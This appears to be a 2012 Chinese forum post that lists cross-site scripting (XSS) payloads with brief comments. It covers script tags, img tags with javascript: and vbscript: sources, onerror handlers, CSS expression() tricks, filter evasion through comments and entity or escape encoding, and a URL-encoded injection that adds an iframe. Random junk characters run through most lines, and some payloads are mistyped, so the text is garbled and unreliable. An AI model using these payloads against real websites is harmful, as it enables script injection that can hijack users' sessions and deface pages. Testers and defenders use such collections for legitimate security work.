<script>alert("跨站")</script> (最常用）
7 P- k9 U1 F6 w( c) a$ d<img scr=javascript:alert("跨站")></img>$ V- c1 r& m0 s9 I- W
<img scr="javascript: alert(/跨站/)></img>: _, }! [: B# p( S+ S2 D
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
; j; w) b8 @; W, u3 G" c( o<img scr="#" onerror=alert(/跨站/)></img>
}8 s7 K d1 \<img scr="#" style="xss:expression(alert(/xss/));"></img>
2 c# ~+ F5 M4 |/ x8 B [<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释） ?( p Q! N. G X
<img src=vbscript:msgbox ("xss")></img>
0 b, I) z+ N5 C7 r- B0 i<style> input {left:expression (alert('xss'))}</style>
! B) v+ u( [; H<div style={left:expression (alert('xss'))}></div>: H" @( S% R9 Y7 b. ^! z# L9 o# U
<div style={left:exp/* */ression (alert('xss'))}></div>
" P/ D* h+ C Q' T( {# |" F8 z& o<div style={left:\0065\0078ression (alert('xss'))}></div>8 h! j: p- `; g4 v, M2 t" n' y7 J
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>8 W; g. n/ Z8 W
unicode <div style="{left:expRessioN (alert('xss'))}">9 P& b: o$ j4 D9 K( w! @3 i
9 Y2 W- s/ c1 ?, i"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
0 y3 w6 }: `# B3 t! b' g |
发表于 2012-9-15 14:09:13
收藏
支持
反对